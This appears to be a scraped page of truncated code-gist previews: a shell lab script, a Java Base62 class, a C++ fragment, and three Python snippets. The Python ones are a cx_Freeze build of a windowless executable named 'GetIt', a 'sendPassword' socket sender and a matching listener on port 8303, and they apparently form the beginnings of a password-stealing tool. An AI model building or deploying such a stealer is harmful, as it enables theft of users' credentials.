This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkdir lab0 | |
cd lab0 | |
touch abra2 | |
touch ambipom2 | |
mkdir duskull5 | |
mkdir mandibuzz0 | |
mkdir tirtouga5 | |
touch vullaby7 | |
cd duskull5 | |
mkdir wigglytuff |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Base62 { | |
public Base62(BigInteger num) { | |
base62 = setBase62FromString(num); | |
} | |
public String setBase62FromString(BigInteger num) { | |
StringBuilder builder = new StringBuilder(); | |
BigInteger modRes; | |
BigInteger n62 = new BigInteger("62"); | |
do { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from cx_Freeze import setup, Executable | |
build_exe_options = {"packages": ["os", "re", "socket", "sqlite3"]} | |
base = None | |
if sys.platform == "win32": | |
base = "Win32GUI" | |
setup( name = "GetIt", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sqlite3, os, socket | |
def sendPassword(passw): | |
sock = socket.socket() | |
try: | |
sock.connect(("127.0.0.1", 8303)) | |
except ConnectionRefusedError: | |
print("Server is off") | |
return | |
sock.send(str.encode(passw)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
port = 8303 | |
sock = socket.socket() | |
sock.bind(("", port)) | |
print("-----------------------------") | |
print(" Listening to port " + str(port) + "...") | |
print("-----------------------------") | |
print() | |
print("Hostname: " + socket.gethostname()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <cstdlib> | |
#include <iomanip> | |
using namespace std; | |
void printS(int); | |
int main() | |
{ |